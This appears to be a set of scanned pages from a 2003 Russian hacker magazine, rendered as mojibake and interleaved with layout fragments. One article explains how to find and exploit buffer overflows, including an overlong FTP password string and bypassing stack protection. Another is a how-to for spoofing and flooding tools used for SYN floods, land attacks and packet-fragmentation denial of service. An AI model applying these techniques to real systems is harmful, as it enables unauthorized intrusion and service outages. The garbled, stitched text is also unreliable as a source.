õîäèòü äûðî÷êè äëÿ âõîäà: òàêàÿ

áàãà áûëà íàéäåíà íà FTP-ñåðâåðå
«made in China» ïîä óïðàâëåíèåì
NT�øíîãî ìàñòäàÿ. Ïðè ïîäêëþ÷å-
íèè ê ñåðâåðó íà çàïðîñ ïàññâîðäà
ïåðåäàåòñÿ ñòðîêà: «pass
AAAAAAA...» - áîëüøå 1024 (ðàçìåð
áóôåðà) ñèìâîëîâ. Åñëè â NT�å íåò
ãëþêà ñ ïåðåïîëíåíèåì, òî òû óç-
ðèøü ìåññàãè îá îøèáêå, è ñåðâàê
ïðîäîëæèò îáùàòüñÿ ñ äðóãèìè
þçåðàìè, à åñëè åñòü, òî ïðîèçîéäåò
äèñêîííåêò, è, âîçìîæíî, ñåðâàíò
âîîáùå óïàäåò. À äàëüøå òâîå äå-
ëî, ÷òî äåëàòü ñ òàêîé íàõîäêîé: ñî-
îáùèòü àäìèíó èëè ïîèìåòü ñåðâåð!

Äðóãîé ñïîñîá ïîèñêà ïåðåïîëíå-
íèé - àíàëèç èñõîäíîãî êîäà èëè
äèçàññåìáëèðîâàíèå ïðîãðàììû,
÷òî òðåáóåò íàëè÷èÿ èñõîäíèêà èëè
áèíàðèêà, óìåíèÿ ïðîãðàììèðîâàòü
è äèçàññåìáëèðîâàòü, è ïîýòîìó
ìíîãèì íå ïîíðàâèòñÿ. Îäíàêî ìíî-

ãèå óÿçâèìîñòè ìîæíî íàéòè òîëü-
êî òàêèì ñïîñîáîì, äà è òî åñëè
ïðîñèäèøü íåñêîëüêî íî÷åé íàä
ñîôòèíîé. Åñëè â ðóêàõ åñòü èñõîä-
íèê ïðîãè, òî âñå íå òàê ïëîõî. À
åñëè â íàëè÷èè òîëüêî áèíàðèêè, òî
ïîèñê äûð ïðåâðàùàåòñÿ â áîëü-
øîé ãåì, òàê êàê áåç õîðîøåãî çíà-
íèÿ àñìà è àðõèòåêòóðû ïðîöà áàãó
òû íå íàéäåøü :(.

ÊÀÊ ÆÅ ÑÈÅ ÐÀÁÎÒÀÅÒ?
Êàê òû, íàâåðíîå, óæå ïîíÿë, ïåðåçà-
ïèñü âîçâðàòíîãî àäðåñà, êîòîðûé âà-
ëÿåòñÿ â ðåãèñòðå EIP ïðîöà (Instraction
Pointer register - ðåãèñòð-óêàçàòåëü êî-
ìàíä), ïîçâîëÿåò íàì þçàòü ïåðåïîë-
íåíèå áóôåðà â ñâîèõ òåìíûõ öåëÿõ :).
Îáû÷íî, èñïîëüçóÿ ýòîò ïðèåì, òû çàñ-
òàâëÿåøü ïðîö âûïîëíèòü êîä, êîòî-
ðûé îí ïðè íîðìàëüíîé ðàáîòå âûïîë-
íÿòü íå äîëæåí. Òû ìîæåøü ïîìåñòèòü
â EIP àäðåñ, âîçâðàùàþùèé ïðîö îá-
ðàòíî â áóôåð, ÷òîáû èñïîëíèòü òå
èíñòðóêöèè, êîòîðûìè áóôåð ïåðåïîë-
íèëè (òîò ñàìûé øåëë-êîä, êîòîðûé
áûë çàïèõíóò â ñòåê êàê ïàðàìåòð äëÿ
ôóíêöèè, íàïðèìåð, login).

À äåëàåòñÿ âñÿ ýòà çàìóòêà ñ îäíîé
õèòðîé öåëüþ: NT�øíûå âèíäû, êàê è
þíèõè, èñïîëüçóþò ïîëèòèêó ó÷åò-
íûõ çàïèñåé, òî åñòü ó êàæäîãî þçå-
ðà åñòü ó÷åòíàÿ çàïèñü, â êîòîðîé
ïðîïèñàíû ïðàâà þçåðà íà ýòó ñèñòå-
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Ñåé÷àñ ïåðå-
ïîëíåíèå áó-
ôåðà î÷åíü
àêòóàëüíî äëÿ
âñåõ ÎÑ îò
ìåëêîìÿãêèõ,
äàæå ãîâîðÿò,
÷òî óæå íàé-
äåí áóôåð
îâåðôëîâ â
2003-õ ñåð-
âåðíûõ âèí-
äàõ!

Ñàìîå ïðèìè-
òèâíîå ïåðå-
ïîëíåíèå áó-
ôåðà ïðîèñõî-
äèò ïðè ðàáîòå
ñî ñòðîêàìè â
òåêñòîâûõ
ïðîòîêîëàõ
(HTTP, SMTP,
POP, FTP).

Õîé! Òû íàñëûøàí î ãëþêàõ ñ áóôåðîì? Ñòðàøíî? Òàê âîò, òåïåðü òû óçíàåøü, êàê
òàêèå øòóêè þçàþò êðóòåíüêèå ïàöèêè!

Vint(vint@townnet.ru)

ÁÓÔÅÐ ËÎÏÍÓË, ÊÀÊ ÝÒÎ ÏÎÞÇÀÒÜ?

Â
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ìó. Ó êîãî îíè âûøå, òîò è êðóò. Òàê,
â âèíäàõ ñàìûé êðóòîé - Àäìèíèñòðà-
òîð, à ó þíèõîâ - Root. Ó âñåõ îñòàëü-
íûõ þçåðîâ ïðàâà íà ñèñòåìó ãîðàç-
äî ìåíüøå. Òàê âîò, ýòè îáåçäîëåí-
íûå, ÷òîáû ïîëó÷èòü ïðàâà àäìèíè-
ñòðàòîðà, èñïîëüçóþò àòàêó íà ïåðå-
ïîëíåíèå áóôåðà. Òî åñòü ïåðöó íå-
îáõîäèìî ïåðåïîëíèòü áóôåð â êà-
êîì-ëèáî èç ïðîöåññîâ, çàïóùåííîì
ñ ïðàâàìè àäìèíèñòðàòîðà èëè íà
ñèñòåìíîì óðîâíå, ïåðåçàïèñàòü áó-
ôåð ñâîèì êîäîì è âûïîëíèòü åãî,
òîãäà êîä ïðîñòîãî þçåðà âûïîëíèò-
ñÿ ñ ïðàâàìè root�à, òàê êàê ïðîöåññ
çàïóùåí ñ àäìèíñêèìè ïðàâàìè.

Â NT�ÿõ ÷åðåç îâåðäîç áóôåðà
ìîæíî çàïóñòèòü êîìàíäíóþ ñòðîêó
ñ íàèâûñøèìè ïðàâàìè «SYSTEM».
Åñëè ïðîöåññ â Âèíäîâñ NT ñîçäàåò
äî÷åðíèé ïðîöåññ, òî îáû÷íî åìó äà-
þòñÿ ïðàâà ðîäèòåëÿ. Îäíàêî íåêî-
òîðûå ïðîöåññû ìîãóò ñîçäàâàòüñÿ ñ
èñïîëüçîâàíèåì Win32 ôóíêöèè
CreateProcessAsUser (), êîòîðàÿ ñîç-
äàåò ïðîöåññ-äî÷êó îò èìåíè äðóãîãî
÷åëà, à çíà÷èò, ýòî äèòå áóäåò èìåòü
òàêèå æå ïðàâà, êàê è þçåð, îò èìåíè
êîòîðîãî åãî ñîçäàëè. Âñå ýòî âîç-
ìîæíîñòè äëÿ ïîëó÷åíèÿ àäìèíñêèõ
ïðàâ ÷åðåç ïåðåïîëíåíèå áóôåðà.

ÒÐÀÁËÛ ÎÂÅÐÄÎÇÀ
Ïîñëå òåîðèè òîïàåì ê ïðàêòèêå.
Îñíîâíûå ìîìåíòû ñîçäàíèÿ ËÞ-
ÁÎÃÎ ýêñïëîèòà, þçàþùåãî äûðó
ïåðåïîëíåíèÿ áóôåðà, âûãëÿäÿò
ïðèìåðíî òàê:

1. Íåîáõîäèìî íàéòè óçêîå ìåñòî â
ïðîãðàììå èëè ÎÑ. Ýòî äîñòèãàåòñÿ
ëèáî àíàëèçîì êîäà, ëèáî áàíàëü-
íûì ìåòîäîì íàó÷íîãî òûêà: «À ÷òî
áóäåò, åñëè ïîñëàòü ïåðåìåííîé íå
5, à 50 áàéò?»

2. Äèçàññåìáëèðîâàíèå äûðÿâîãî
ó÷àñòêà êîäà - íåîáõîäèìî äëÿ ðàç-
âåäêè ìåñòà äèñëîêàöèè áàãè.

3. Íåáîëüøîé àíàëèç, êóäà ëó÷øå
çàêèíóòü çëîñòíûé êîä.

4. Íàïèñàíèå ñåãî êîäà íà àñìå.
Ñîîáðàæåíèå ñòðîêè, ïåðåïîëíÿþ-
ùåé áóôåð, ñ ó÷åòîì çëîñòíîãî êî-
äà, òî áèøü íàäî âêëþ÷èòü ññûëêó
èëè ñàì êîä â ñòðîêó ïåðåïîëíåíèÿ.

5. Íàïèñàíèå ñîôòèíû, êîòîðàÿ
àâòîìàòè÷åñêè ïåðåïîëíÿåò áóôåð
è ïåðåäàåò óïðàâëåíèå òâîåìó êîäó.

È âñå! Ñåé÷àñ ó íàñ â ðóêàõ ãîòî-
âûé ýêñïëîèò, êîòîðûé ðàáîòàåò
î÷åíü ïðîñòî: ïðè çàïóñêå íàõîäèò
äûðÿâîå ïðèëîæåíèå, íåêèìè ìàíè-
ïóëÿöèÿìè ïåðåïîëíÿåò áóôåð
(ñòåê), à çàòåì òâîé âðåäíûé êóñî-
÷åê â áóôåðå ïîëó÷àåò óïðàâëåíèå.

Íåìíîãî ðàññêàæó î íàïèñàíèè
ñàìîãî õèòðîãî êóñî÷êà. Äëÿ ñîçäà-
íèÿ ìàøèííîãî êîäà, íà êîòîðûé
ïåðåäàñò óïðàâëåíèå ïåðåïîëíèâ-
øèéñÿ áóôåð, íàäî:

Âî-ïåðâûõ, âûÿñíèòü ïðèìåðíûé
àäðåñ âåðõóøêè ñòåêà íà äàííîì
êîìïå ïðè âûçîâå ôóíêöèé, ÷òîáû
êîððåêòíî ñôîðìèðîâàòü àäðåñ
âîçâðàòà, êîòîðûé ïîïàäåò â ïîëå

RETADR. Îáû÷íî ýêñïëîèòû âûïîë-
íÿþò ýòî ñ ïîìîùüþ âûçîâà ïóñòîé
ôóíêöèè, âîçâðàùàþùåé â êà÷åñòâå
ïàðàìåòðà çíà÷åíèå âåðõóøêè ñòåêà.

Âî-âòîðûõ, êóñîê êîäà äîëæåí
áûòü íàïèñàí òàê, ÷òîáû íå ñîäåð-
æàòü ñèìâîëà 0, êîòîðûé áóäåò ïî-

íÿò, êàê êîíåö ñòðîêè, èíà÷å ýòèì
ñèìâîëîì òâîé êóñî÷åê è çàêîí÷èò-
ñÿ. Êîíå÷íî, êîä ïîïàäåò ïðè êîïè-
ðîâàíèè â îáëàñòü ïàðàìåòðîâ, íî
õàêåðà ýòî, êàê è èñïîð÷åííûé ðå-
ãèñòð BP, íå âîëíóåò. Ãëàâíîå, óï-
ðàâëåíèå áóäåò ïåðåäàíî íà ÷óæå-
ðîäíûé ôðàãìåíò.

Â-òðåòüèõ, òî÷íî äîëæíû áûòü
ðàññ÷èòàíû ðàçìåðû áóôåðà, ÷òî-
áû âñå ïîïàëî â íóæíûå ìåñòà è íå
âûçâàëî îáû÷íîãî core dump. Òàê-
æå íàäî ó÷åñòü ðàçìåðû äðóãèõ ïå-
ðåìåííûõ, ñòîÿùèõ ìåæäó áóôåðîì
è RETADR.

È, íàêîíåö, â-÷åòâåðòûõ, òû äîë-
æåí óìåòü âûçûâàòü ôóíêöèè îïå-
ðàöèîííîé ñèñòåìû è çíàòü íåîáõî-
äèìûå äëÿ ðàáîòû â ëèöî!

ÌÈÔ ÎÁ ÓÍÈÂÅÐÑÀËÜÍÎÉ 
ÇÀÙÈÒÅ
Íåäàâíî íà IRC-êàíàëàõ è â Èíåòå ïðî-
áåãàë ñëóøîê, ÷òî íàéäåíà óíèâåð-
ñàëüíàÿ çàùèòà (!) îò àáñîëþòíî âñåõ
íþêåðîâ è ýêñïëîèòîâ, îñíîâàííûõ íà
ïåðåïîëíåíèè áóôåðà. Âîò âêðàòöå
êàê ýòî ïðåïîäíîñèëîñü: ïðè ïåðåïîë-
íåíèè ñòåêà âûïîëíÿåìûé êîä òàêæå
íàõîäèòñÿ â ñòåêå (à ïðè íîðìàëüíîé
ðàáîòå ÎÑ òàêîãî íå áûâàåò), è êîìó-

òî, ïî ñëóõàì, íàøåìó ñîîòå÷åñòâåí-
íèêó Solar Designer�ó, ïðèøëà â ãîëîâó
ìûñëü, ÷òî ìîæíî çàïðåòèòü èñïîëíå-
íèå êîäà, íàõîäÿùåãîñÿ â ñòåêå, ÷òî
äîëæíî ïîçâîëèòü íàâñåãäà ðåøèòü
ïðîáëåìó åãî ïåðåïîëíåíèÿ. Ýòîò ïà-
ðåíü îêàçàëñÿ íå òîëüêî ãîâîðóíîì,
íî è íèçêîóðîâíåâûì êîäåðîì, è, ïî-
øàìàíèâ òðè äíÿ è òðè íî÷è ñ îñîáåí-
íîñòÿìè ïðîöåññîðîâ Intel 586, ðåàëè-
çîâàë èäåþ â ñâîåì ïðîåêòå OpenWall.
Òàêæå ñóùåñòâóþò ïàò÷ äëÿ ÿäðà
Linux�à - PAX, çàëîæåííûé âî ìíîãèå
äèñòðèáóòèâû (íàïðèìåð, â BlackCat) è
êîììåð÷åñêèé ïðîäóêò ïîä Windows -
SecureStack (àâòîð - äðóãîé íàø ñî-
îòå÷åñòâåííèê).

Íî ïðè êóëüíîì òåñòèíãå íàðîä
äîãíàë, ÷òî ýòî íå åñòü âûõîä! Âåäü
ìîæíî ïîëîæèòü â ñòåê äàííûå òà-
êèì ìàêàðîì, ÷òî ïîñëå âîçâðàòà
èç ïðîöåäóðû îñü íà÷íåò âûïîë-
íÿòü ëþáûå ôóíêöèè, ïðèíàäëåæà-
ùèå îñíîâíîé ïðîãðàììå, íàïðè-
ìåð, memcpy, è åå ïàðàìåòðû áóäóò
íàõîäèòüñÿ â ñòåêå íà ïîëîæåííûõ
ìåñòàõ. Â ðåçóëüòàòå ôóíêöèÿ ñêî-
ïèðóåò äàííûå èç ñòåêà â äðóãóþ
îáëàñòü ïàìÿòè, ãäå èñïîëíåíèå êî-
äà ðàçðåøåíî, à ïîñëå âîçâðàòà èç
íåå óïðàâëåíèå áóäåò ïåðåäàíî â
ýòó îáëàñòü ïàìÿòè. Âñå! Óíèâåð-
ñàëüíàÿ çàùèòà îò ïåðåïîëíåíèÿ
áóôåðà íàêðûëàñü :).

Êîíå÷íî, ìîæíî ïîñïîðèòü è ïîïû-
òàòüñÿ äîêàçàòü, ÷òî åñòü áîëåå
ïðîñòûå ñïîñîáû ïðîíèêíîâåíèÿ â
ñèñòåìó, ÷åì ýêñïëîèòèíã ïåðåïîëíå-
íèÿ áóôåðà. Íàïðèìåð, äàòü ïî áàø-
êå àäìèíó è îòíÿòü ïàðîëè èëè ïîñ-
ëàòü òðîÿíà :). Íî ýòè ñïîñîáû ñòàðû,
ãðóáû è íåýôôåêòèâíû. Äàòü ïî
áàøêå àäìèíó ñìàõèâàåò íà óãîëîâ-
ùèíó. À åñëè ïîìðåò? Òàê ïîòîì ñ
çåêàìè áóäåøü ïåðåïîëíåíèå áóôå-
ðà ó÷èòü :). È òðîÿí - íå âûõîä, ãðà-
ìîòíûå àäìèíû ôèëüòðóþò ïî÷òó íà
íàëè÷èå êîíåé è ïðè ïîëó÷åíèè ïðè-
áèâàþò íà ìåñòå. Íî, êðîìå øóòîê,
óæå íàïèñàíà òàêàÿ òó÷à ñîôòà ñ íå-
äî÷åòàìè êîäèíãà, êîòîðûå ìãíîâåí-
íî ïðåâðàùàþòñÿ â ëàçåéêè äëÿ õà-
êåðà (à ðåëèçèòñÿ åùå áîëüøå), ÷òî
íå þçàòü ýòî ìèíèìóì íåðàçóìíî.

E

Íåäàâíî íà
IRC-êàíàëàõ è

â Èíåòå ïðîáå-
ãàë ñëóøîê,
÷òî íàéäåíà

óíèâåðñàëüíàÿ
çàùèòà (!) îò

àáñîëþòíî
âñåõ íþêåðîâ
è ýêñïëîèòîâ,

îñíîâàííûõ íà
ïåðåïîëíåíèè

áóôåðà.

Îáû÷íî, èñ-
ïîëüçóÿ ïåðå-
ïîëíåíèå áó-

ôåðà, òû çàñ-
òàâëÿåøü ïðîö

âûïîëíèòü
êîä, êîòîðûé

îí ïðè íîð-
ìàëüíîé ðàáî-
òå âûïîëíÿòü

íå äîëæåí.



ÃÍÓÒÛÉ ÑÒÂÎË
ÏÎÏÀÄÀÅÒ ÄÂÀÆÄÛ!

àâàé ïîñòðåëÿåì,
òîëüêî íå
íàðèñîâàííûìè

ïóëüêàìè, à ðåàëüíûìè ïàêåòàìè.

NETXRAY
Äëÿ íà÷àëà íå ìåøàåò åãî ïîñòà-
âèòü. Êà÷àòü ìîæíî ñ
http://msk.nestor.minsk.by/sr/down-
load/netxray.zip, íàéäåíî íà ïåðâîé
ñòðàíèöå yandex-à. Åñëè ñàéò è îò-
âàëèòñÿ ïîñëå âûõîäà æóðíàëà,
íàéòè áóäåò íåòðóäíî.

Ïîñëå óñòàíîâêè çàïóñêàåì è âè-
äèì íåñêîëüêî îêîøåê. Äàâèì íà
òðóáó ñî ñòðåëî÷êîé, íàïðàâëåííîé
íà âûõîä. È ïîïàäàåì â ñïóôåð.
Òóò åñòü ðåäàêòîð ïàêåòîâ, òî åñòü
òû ìîæåøü ñäåëàòü âåñü ïàêåò ñàì.
Ìîæíî òàêæå çàïóñòèòü åãî íà
ïðîñëóøêó, ýòî òðóáà ñî ñòðåëî÷-
êîé íà âõîä. Çàòåì íà êâàäðàò ñ áè-
íîêëåì. Âûäåëÿé ïàêåòû, êîòîðûå
õî÷åøü ñëàòü, è äåëàé ïðàâûé êëèê
ïî íèì. Íàéäè «send this packets» è
òû óâèäèøü, êàê îíè âûëåòÿò îò òå-
áÿ. Ðåæèìîâ ïîñûëêè ó íåãî íåñ-
êîëüêî, òû ìîæåøü ñëàòü ïî îäíî-
ìó, ïî íåñêîëüêî (óêàæè â îêîøêå,
ñêîëüêî ðàç ïîñëàòü). Èëè áåñêî-
íå÷íî ìíîãî (continuously), ÷òî ïî-
ëåçíî ïðè çàáèâàíèè ìóñîðîì ïîð-
òà èëè ïðè syn-ôëóäå. Íå çàáûâàé
ïðî ID ïàêåòà. Åñëè ñëàòü îäèí è
òîò æå ïàêåò, òî ìàøèíà ïðèìåò
òîëüêî ïåðâûé, à îñòàëüíûå ïîñ÷è-
òàåò çà äóïû. Ïîýòîìó ëó÷øå äëÿ
ôëóäà îòïðàâëÿòü ïà÷êó èç 10-20
ïåðåõâà÷åííûõ ïàêåòîâ.

Ïðîãà óìååò ñàìà ñ÷èòàòü êîíò-
ðîëüíóþ ñóììó, íî òû ìîæåøü åå è
ïîäêîððåêòèðîâàòü âðó÷íóþ, õîòÿ
íà ïðàêòèêå íè÷åãî õîðîøåãî èç
ýòîãî íå âûéäåò. Ìîæíî çàäàâàòü

âðó÷íóþ äàííûå âíóòðè ïàêåòà è
ìåíÿòü ôëàãè (rst, fin è ïðî÷èå).
Ìîæíî äàæå ñäåëàòü ëåâûé ïàêåò, ñ
áîëüøåé äëèíîé, ÷åì ðåàëüíî åñòü
äàííûõ. Ìîæíî ñäåëàòü ïàêåò äëÿ
land-àòàêè, äëÿ ýòîãî íàäî ïîñòà-
âèòü îäèíàêîâûå source è destina-
tion IP è îäèíàêîâûå ïîðòû. Ïðè
ýòîì ïîðò äîëæåí áûòü îòêðûò. Åñ-
ëè òà÷êà íå ïàò÷åííàÿ è îñü òàì íå
áîëüøå 95, òî îíà îòâàëèòñÿ â òî-
òàëüíûé äàóí. Åñëè õî÷åøü èñïó-
ãàòü äðóãà ëèíóêñîèäà, òî ïîñòàâü
íà ïðîñëóøêó èñõîäÿùèå ïàêåòû
TCP è âðóáè ïðîãó-ôëóäåð, íàïðè-
ìåð, portfuck. Ïîñëå îòëîâà 10-20
ïàêåòîâ òîðìîçè èõ îáîèõ, âûäåëÿé
ïàêåòû è ãîâîðè «ñëàòü äî ïîñèíå-
íèÿ». Åñëè íà ëèíóõå åñòü îòêðû-
òûé ïîðò è òû èìåííî åãî portfuck-
àë, òî íà êîìïå íà÷èíàåò î÷åíü
ñòðàøíî òàðàõòåòü âèíò. Íè÷åãî ðå-
àëüíî ñòðàøíîãî íå ïðîèñõîäèò (ïî
êðàéíåé ìåðå â áëèæàéøèå 15-20
ìèíóò), íî çâó÷èò ýòî íåïðèÿòíî.

Èñïîëüçóÿ áèòóþ ôðàãìåíòàöèþ
ïàêåòà, ìîæíî çàñðàòü ñòåê íà ÷ó-
æîé ìàøèíå. Äëÿ ýòîãî íàäî íàñò-
ðîèòü ñíèôåð íà ïîèìêó èñõîäÿ-
ùèõ ICMP-ïàêåòîâ. Õîðîøåíüêî
ïèíãàíóòü ìàøèíó ïàêåòîì íà 60
êèëî, æåëàòåëüíî íå îäèí ðàç. Ïîñ-
ëå ÷åãî, ïîêîâûðÿâøèñü âî âíóò-
ðåííîñòÿõ, íàäî ñòåðåòü ïîñëåäíèé,
çàâåðøàþùèé ïàêåò, èìåííî ïîñëå
íåãî ìàøèíà íà÷èíàåò îòâå÷àòü íà
ïèíã. Åñëè îí íå ïðèøåë, òà÷êà áó-

äåò õðàíèòü âñå îñòàëüíûå ïàêåòû,
ïîêà íå èñòå÷åò òàéì-àóò. Â ëîêàëêå
ýòî áóäåò âûãëÿäåòü âå÷íîçåëåíûì
ãëàçîì íà õàáå è ñåòåâóõå. Íà òà÷êå
÷óâñòâóåòñÿ ÿâíîå òîðìîæåíèå.
Ïðè ýòîì ôàåðâîëëû ãðóñòíî ìîë-
÷àò, ïîñêîëüêó ïàêåòîâ òîëêîì íè
îäíîãî íå ïðèøëî.

Åñëè ñäåëàòü ñåðèþ èç 10 íåçà-
âåðøåííûõ ïàêåòîâ è ïîñëàòü åå
ðàç 100, òî îòîæðåòñÿ ñîëèäíûé êó-
ñîê RAM, à èç-çà êîðÿâîãî ñòåêà íå
âñå ïàêåòû êîððåêòíî îò÷èñòÿòñÿ.
Òóò õîðîøî çàìåòåí ãëþê ìàñòäàé-
íîé ðåàëèçàöèè ñòåêà. Ïèøóòñÿ â
ïàìÿòü âñå ïàêåòû, åñëè ID íå ñîâ-
ïàäàåò ñ ïîñëåäíèìè äåñÿòüþ. À
óäàëÿþòñÿ òîëüêî ïåðâûå. Òàêèì
îáðàçîì, ïîëó÷èâ 50 ñåðèé ïî 10
ïàêåòîâ, òà÷êà ïîäîæäåò è ñîòðåò
òîëüêî ïåðâûå 10. Ìîæíî òàê æå çà-
ìóòèòü è TCP ñîåäèíåíèå, íî â ýòîì
ñëó÷àå ãåìîððîÿ áóäåò áîëüøå.

EXPLOITGENERATOR
Êà÷àòü ìîæíî îòñþäà http://packet-
stormsecurity.org/DoS/expgen085.zip.
Àíòèâèðóñ McAffee è íåêîòîðûå
âåðñèè AVP ðóãàþòñÿ íà íåãî, òèïà
«âèðóñ íå íàäî çàïóñêàòü». Ìîæíî
ñìåëî ïîëîæèòü íà ýòî. Ñòðàøíàÿ
ïðîãà, æàëü, ÷òî íå ðàáîòàåò ïîä

2k�øêîé, à ðàññ÷èòàíà òîëüêî íà 95
è 98 ôîðòî÷êè.

Ïîñëå çàïóñêà âûâàëèâàåòñÿ îêíî
ôîðìèðîâàòåëÿ ïàêåòà. Ïåðâîå ïî-
ëå - ýòî IP-ïðîòîêîë. Ìîæåøü çà-
äàòü ñòàíäàðòíûé ïðîòîêîë èç âû-
ïàäàþùåãî ñïèñêà, ìîæåøü íàïè-
ñàòü ÷òî-íèáóäü ñâîå. IP src è IP dst
- ýòî èñõîäÿùèé è âõîäÿùèé àäðåñà.
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Åñëè ñòåðåòü
ïîñëåäíèé, çà-
âåðøàþùèé ïà-
êåò (èìåííî
ïîñëå íåãî ìà-
øèíà íà÷èíàåò
îòâå÷àòü íà
ïèíã), òî òà÷êà
áóäåò õðàíèòü
âñå îñòàëüíûå
ôðàãìåíòû, ïî-
êà íå èñòå÷åò
òàéì-àóò. Â ëî-
êàëêå ýòî áóäåò
âûãëÿäåòü âå÷-
íîçåëåíûì ãëà-
çîì íà õàáå è
ñåòåâóõå. Íà
òà÷êå ÷óâñòâó-
åòñÿ ÿâíîå òîð-
ìîæåíèå. Ïðè
ýòîì ôàåðâîë-
ëû ãðóñòíî
ìîë÷àò, ïîñ-
êîëüêó ïàêåòîâ
òîëêîì íè îä-
íîãî íå ïðèøëî.

Ñ ïîìîùüþ õîðîøåãî ñïóôåðà ìîæíî
ïðîâåñòè ïðàêòè÷åñêè âñå àòàêè, ñâÿçàí-

íûå ñ êðèâîñòüþ IP-ñòåêà.

Õîðîøî ñòðåëÿòü ïî ñåòêå â êîíòðó, à ïðåäñòàâü, ÷òî òû ìîæåøü âûñòðåëèòü èç
÷óæîãî ðóæüÿ, ïðè÷åì íè æåðòâà, íè õîçÿèí ðóæüÿ îá ýòîì íè÷åãî íå óçíàþò. 

Alex Shark 
(qqqqqwww@e-mail.ru)

SPOOFER Â ÎÊÍÀÕ
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Ãëþê ñ îïðåäåëåíèåì ñåòåâóõè

ïîä Windows 2000

Ïðîãà, «ñëóøàÿ» êîòîðóþ ìîæíî 

ñäåëàòü õîðîøèé SYN-ôëóä



HOWTO/ÃÍÓÒÛÉ ÑÒÂÎË ÏÎÏÀÄÀÅÒ ÄÂÀÆÄÛ!
O

S
û

 4
h

a
ck

07(32) 2003 page 055

IP Tos, ïîëå IP-õåäåðà, type of serv-
ice - ÷òî åñòü òèï óñëóãè èëè ÷òî
èìåííî ìû õîòèì äåëàòü. Îñîáîé
ðîëè íà çàâàë íå îêàçûâàåò. Time
to live èëè ttl ýòî êîëè÷åñòâî ðîóòå-
ðîâ, êîòîðîå ìîæíî ïðîéòè ïàêåòó
ïåðåä ñìåðòüþ. Åñëè ïîñòàâèòü
ñëèøêîì ìàëåíüêîå ÷èñëî, ïàêåò
ìîæåò óìåðåòü, íå äîéäÿ äî àäðåñà-
òà. Õîòÿ â ëîêàëêå áåç ðîóòåðîâ
ìîæíî ñòàâèòü è ìàëåíüêîå ÷èñëî.
Fragment off - ñìåùåíèå ôðàãìåíòà-
öèè, òî åñòü íà ñêîëüêî âòîðîé êó-
ñîê îòñòàåò îò ïåðâîãî. Ïîìîãàåò, åñ-
ëè òû ðåøèëñÿ ñîðâàòü ñòåê TCP/IP
ðàñïàêîâùèêà. P.ID - ýòî òîò ñàìûé
ID ïàêåòà, ïî êîòîðîìó êîìï ïîíèìà-
åò, âèäåë îí åãî èëè åùå íåò. È åñëè
îí áóäåò ïîâòîðÿòüñÿ, òî ñèñòåìà
ïðîñòî ïðîèãíîðèðóåò ïàêåò. Íó, ñ
checksum âñå ïîíÿòíî, ýòà ïðîãà òî-
æå óìååò ñ÷èòàòü åå ñàìà.

Ýòî âñå êàñàëîñü IP-óðîâíÿ. Äàëü-
øå ó òåáÿ åñòü âûáîð. Èëè ïîñû-
ëàòü TCP ïàêåòû, èëè ICMP. Â TCP
ïàêåòàõ åñòü âîçìîæíîñòü íàçíà-
÷èòü sequence è acknowledge íîìå-
ðà; äëÿ îïðåäåëåíèÿ, ê êàêîìó êîí-
íåêòó îòíîñèòñÿ ýòîò ïàêåò, ìîæåò
ïðèãîäèòñÿ ïðè TCP-hijack. Õîòÿ ðó-
êàìè ýòó îïåðàöèþ ïðîâåðíóòü
ïðàêòè÷åñêè íåðåàëüíî.

Ïàðàìåòðû WinSize è URP îòíî-
ñÿòñÿ ê MTU-level, òî åñòü ê òîìó,
êàê ïåðåäàâàòü ïàêåò. Êîíå÷íî, ðå-
áÿòà íå çàáûëè ïðî ôëàãè - óñòà-
íàâëèâàé âñå, ÷òî äóøå óãîäíî. Íè-
æå åñòü îïöèè «ñêîëüêî øòóê
ñëàòü» è «êàê ÷àñòî ýòî äåëàòü».
Åñëè ïîñòàâèòü î÷åíü ìàëåíüêîå
÷èñëî â ïàóçå, òî ïðîãà ïîëó÷àåòñÿ
î÷åíü äàæå íåïëîõèì ôëóäåðîì.
Ïðîáëåìà òîëüêî â òîì, ÷òî îíà
÷àñòî äåëàåò âèä, ÷òî ïîñëàëà, íî
ðåàëüíî ñ ìàøèíû íå âûëåòåëî íè
áàéòà. Ïðèìå÷àòåëüíî, ÷òî äëÿ
ñòàíäàðòíûõ syn-flood ñî ñïóôîì
èñõîäÿùåãî IP, à òàêæå äëÿ smurf-à
åñòü ñòàíäàðòíûå êíîïî÷êè. Âñå ýòî
óäîâîëüñòâèå íàõîäèòñÿ âî âêëàä-
êå Simple mode. Òàê ÷òî äëÿ ïðîñ-
òûõ îïåðàöèé íå ñòîèò çàìîðà÷è-
âàòüñÿ è êëåïàòü ïàêåòû ðóêàìè.

PACKET BUILDER
Ïðîãà äëÿ ïîñûëà ïàêåòîâ. Àâòîð
êëÿíåòñÿ, ÷òî ðàáîòàåò ïîä ëþáîé
îñüþ. Â ðåàëüíîñòè æå îêàçûâàåò-
ñÿ, ÷òî ïîä 2k ïðîãà êîíêðåòíî ïðî-
ãîíÿåò ñ êîíòðîëüíîé ñóììîé, îò÷å-
ãî ïàêåòû ðóáÿòñÿ íà ïåðâîì æå ðî-
óòåðå. À åñëè òû ñèäèøü íà ìîäåìå,
òî ãðîáÿòñÿ îíè óæå íà äðóãîì êîí-
öå òâîåãî òåëåôîííîãî êàáåëÿ. Êðî-
ìå òîãî, ïðè íåêîòîðûõ óñëîâèÿõ â
ñåòü íå âûëåòàåò âîîáùå íè÷åãî, òî
åñòü ïàêåòû óñïåâàþò óìåðåòü åùå
íà òâîåé òà÷êå. Èíòåðôåéñèê íåçà-
ìûñëîâàòûé: ìîæíî çàäàòü èñõîäÿ-
ùèé è âõîäÿùèé àäðåñà è ïîðòû,
êîëè÷åñòâî ïîñûëàåìûõ ïàêåòîâ è
ôëàæêè. Åñòü âîçìîæíîñòü çàñû-
ëàòü ïàêåòû ñ ðàíäîìíûõ àäðåñîâ,
äëÿ ýòîãî íóæíî ïîñòàâèòü ãàëêó íà

randomized source. Òàì, ãäå ïðè çà-
ïóñêå íàïèñàíî data to send, ìî-
æåøü ïèñàòü ïîñëàíèå íà òó ñòîðî-
íó. Åñëè òàì :) îòëîâÿò ïàêåòû, îíè
áóäóò ñîäåðæàòü èìåííî ýòè äàí-
íûå. Packet len è forced len - ýòî
äëèíà ïàêåòà. Ïåðâàÿ öèôðà - ýòî
âû÷èñëåííàÿ äëèíà, âòîðàÿ - íà òîò
ñëó÷àé, åñëè òû õî÷åøü ïîñëàòü
áîëüøå, ÷åì íàïèñàë. Íèæå èäåò
ëîã ðàáîòû ïðîãðàììû. Òóò òû ñìî-
æåøü íàáëþäàòü âñå äåéñòâî. Íó è
ãëàâíàÿ êðàñíàÿ êíîïêà «Send», ÷òî
